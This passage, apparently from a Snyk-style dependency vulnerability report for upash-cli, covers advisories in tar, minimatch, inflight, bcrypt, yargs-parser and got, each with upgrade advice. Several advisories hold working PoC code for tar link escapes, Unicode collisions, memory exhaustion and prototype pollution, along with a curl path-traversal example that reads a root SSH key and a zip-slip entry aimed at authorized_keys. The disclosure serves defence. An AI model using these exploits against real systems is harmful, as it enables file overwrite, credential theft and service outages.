fs.mkdirSync('root/extract', { recursive: true }) fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n') await tar.x({ cwd: 'root/extract', file: 'evil.tar' }) // same with sync: true fs.writeFileSync('root/extract/esc', 'PWNED\n') console.log(fs.readFileSync('root/outside.txt', 'utf8')) // PWNED console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
Observed on 7.5.23 (repeated runs, async and sync): control.tar is rejected with "linkpath escapes extraction directory" and outside.txt stays ORIGINAL. evil.tar yields warnings=[], realpath(esc) = root/outside.txt, realpath(escdir) = root; outside.txt is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above cwd.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the path-reservation bookkeeping code (src/path-reservations.ts and src/unpack.ts). The getDirs function computes every ancestor prefix of each reserved path, and its cost is quadratic in the length of linkpath, which has no depth or length bound and is reserved for every entry type. An attacker can supply an archive of a few hundred bytes compressed to exhaust CPU and crash the Node process (VULN-002), or use very long path components within the maxDepth limit to exhaust memory (VULN-023). Additionally, PathReservations.#reservations entries are never released during extraction, the normalizeUnicode cache is bounded by entry count rather than bytes, and filesFilter memoises every path prefix, all of which cause unbounded memory growth during large or long-running extractions.
PoC
`exploit_tests/test_vuln_002_*`, `_023_`, `_009_`, `_012_` and `_024_`. Each test runs a control archive and an attack archive against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.
Note: Tests were run on macOS against the unmodified 7.5.22 build.
Remediation
Upgrade tar to version 8.0.2 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the PathReservations.getDirs helper in src/path-reservations.ts, which rebuilds a growing path prefix once per segment at O(N^2) time and memory cost. When the asynchronous Unpack extractor processes a symlink or hardlink entry, it pushes entry.linkpath into reserve(), which maps it through getDirs with no depth bound - the existing maxDepth guard is applied only to entry.path, never to entry.linkpath. An attacker who supplies an archive containing a single symlink entry with a deeply nested relative linkpath (e.g. a/a/.../a) causes the quadratic heap growth to exhaust the V8 heap and abort the Node.js process with an uncatchable fatal out-of-memory error (exit code 134).
Note: This is only exploitable on non-Windows hosts using the default asynchronous extraction API (tar.extract / Unpack); synchronous extraction (sync: true) and the Windows reservation path are not affected.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via PathReservations.getDirs() in src/path-reservations.ts, which materializes every parent-directory prefix of a given path as individual strings, an O(N²) operation. The existing maxDepth guard applies only to entry.path and not to entry.linkpath, so an archive with a shallow entry.path and a deeply nested entry.linkpath bypasses the guard entirely. Processing such an archive forces a catastrophic heap allocation that exhausts the V8 heap, aborting the process with a fatal out-of-memory error that no JavaScript error handler can intercept.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CHECKDECOMPRESSIONRATIO guard in src/parse.ts, which evaluates the decompression ratio only after node zlib has already materialized the full inflated output in memory. Because compressed bytes are credited per write() call rather than per codec output chunk, a single large write front-loads the entire inputSize × 1000 budget before the ratio is checked even once, allowing the inflated data to reside in memory unconstrained. An attacker can supply a 65,608-byte zstd archive that expands to 2 GiB, causing an OOM kill at default settings with no option overrides required. A second path exists where data written after the tar end-of-archive marker is buffered indefinitely because SAW_EOF stops the parse loop from draining but does not prevent BUFFERCONCAT from appending, giving a piping producer no back-pressure signal.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte truncation in src/header.ts, src/parse.ts, and src/pax.ts when parsing ustar names, GNU long-name/long-link data, and PAX values. The regex .replace(/\0.*/, '') lacks the s flag, so . does not match \n, \r, U+2028, or U+2029. When one of these line terminators follows a NUL byte in an entry name, only the portion up to the line terminator is removed and the NUL remains in the name. During async extraction, the NUL-containing name is passed to fs, which throws an uncaught exception and crashes the process. With the strip option enabled, the surviving characters also cause node-tar's view of the name to differ from other tar implementations.
PoC
`exploit_tests/test_vuln_006_*` and `_021_`. Each runs a control and an attack against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.
Note: Tests were run against the unmodified 7.5.22 build on macOS.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte sanitization in src/pax.ts, src/parse.ts, and src/header.ts during asynchronous extraction. The sanitization regex /\0.*/ uses a bare dot that does not match line terminators (\n, \r), so a NUL byte appearing after a line terminator in an archive-controlled path or linkpath string survives the replacement. The surviving NUL is passed to Node.js filesystem APIs (e.g., fs.lstat) inside an async continuation where no node-tar code catches the resulting TypeError [ERR_INVALID_ARG_VALUE], causing an uncaught exception that terminates the extracting process. An attacker who can supply an archive to any process that extracts it with the default asynchronous tar.x / tar.extract API can crash that process with a single small archive, bypassing even correctly structured try/await/catch consumer error handling because the throw occurs outside the returned promise and outside the stream error event.
Note: This is only exploitable via the asynchronous extraction API (tar.x / tar.extract); synchronous extraction (UnpackSync) and listing (tar.t) are not affected.
PoC
See the attached PoC zip. Summary:
./deployment/deploy.sh # stages a sandbox with pinned tar@7.5.22
./poc/poc.sh # builds six archives and runs the assertions
poc.sh prints one PASS line per assertion and ends with RESULT: 8 passed, 0 failed on the affected version. It includes a benign control, the original advisory payload (clean since 7.5.17), the CR bypass variant, two raw-header variants (CR and LF), a GNU L variant, and negative controls proving that sync extraction and listing do not crash. Full executed output is in the zip's README.md.
A minimal single-archive reproduction: build a tar whose first entry is an x extended header containing the record 15 path=p\0q\r\0r (valid length prefix), followed by a normal file header, then run tar.extract({ cwd }) asynchronously. On tar@7.5.22 the process dies with ERR_INVALID_ARG_VALUE naming the path <cwd>/p\r\x00r.
Note: The PoC targets tar@7.5.22 and is run in a sandbox staged by a deployment script included in the attached zip.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
high severity
new
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via PathReservations.getDirs() in the asynchronous extraction path (tar.x, tar.extract, new Unpack()), where a deeply nested entry.linkpath delivered via a GNU 'K' long-linkpath meta entry causes O(n^2) CPU work and unbounded transient heap allocation. The existing maxDepth guard introduced by the CVE-2024-28863 fix applies only to entry.path, leaving entry.linkpath uncapped, so an attacker supplies an archive whose linkpath contains hundreds of thousands of single-character path components. The quadratic allocation exhausts the Node.js heap, freezes the event loop, and terminates the process with an uncatchable FATAL ERROR: heap out of memory (exit 134 / SIGABRT) that neither try/catch nor process.on('uncaughtException') can intercept.
Note: This is only exploitable on POSIX hosts; the reserve() path is a no-op on Windows.
Remediation
Upgrade tar to version 8.0.0 or higher.
References
medium severity
- Vulnerable module: minimatch
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › npm-packlist@1.4.8 › ignore-walk@3.0.4 › minimatch@3.1.5
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › rimraf@2.7.1 › glob@7.2.3 › minimatch@3.1.5
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) in the firstPhasePreProcess method, where the **/.. transform clones a globParts entry and pushes the clone back onto the same array inside a do...while (didSomething) fixpoint loop. An attacker can exhaust CPU and memory by supplying a glob pattern whose **/.. sequences regenerate entries during preprocessing, which secondPhasePreProcess then compares in an O(n^2) pairwise partsMatch pass over the expanded set. Exploitation requires the pattern to be parsed with optimizationLevel set to 2 or higher.
Remediation
Upgrade minimatch to version 11.0.1 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.
Remediation
Upgrade tar to version 7.5.16 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.
Remediation
Upgrade tar to version 7.5.17 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade tar to version 7.5.21 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the lack of folders count validation during the folder creation process. An attacker who generates a large number of sub-folders can consume memory on the system running the software and even crash the client within few seconds of running it using a path with too many sub-folders inside.
Remediation
Upgrade tar to version 6.2.1 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8 › node-pre-gyp@0.14.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
medium severity
- Vulnerable module: bcrypt
- Introduced through: @phc/bcrypt@1.0.2
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › @phc/bcrypt@1.0.2 › bcrypt@3.0.8
Overview
bcrypt is an A library to help you hash passwords.
Affected versions of this package are vulnerable to Cryptographic Issues. When hashing a password containing an ASCII NUL character, that character acts as the string terminator. Any following characters are ignored.
Remediation
Upgrade bcrypt to version 5.0.0 or higher.
References
medium severity
- Vulnerable module: yargs-parser
- Introduced through: meow@5.0.0
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › meow@5.0.0 › yargs-parser@10.1.0Remediation: Upgrade to meow@6.1.0.
Overview
yargs-parser is a mighty option parser used by yargs.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.
Our research team checked several attack vectors to verify this vulnerability:
- It could be used for privilege escalation.
- The library could be used to parse user input received from different sources:
- terminal emulators
- system calls from other code bases
- CLI RPC servers
PoC by Snyk
const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.
References
medium severity
- Vulnerable module: got
- Introduced through: update-notifier@2.5.0
Detailed paths
-
Introduced through: upash-cli@simonepri/upash-cli › update-notifier@2.5.0 › latest-version@3.1.0 › package-json@4.0.1 › got@6.7.1Remediation: Upgrade to update-notifier@6.0.0.
Overview
Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.
Remediation
Upgrade got to version 11.8.5, 12.1.0 or higher.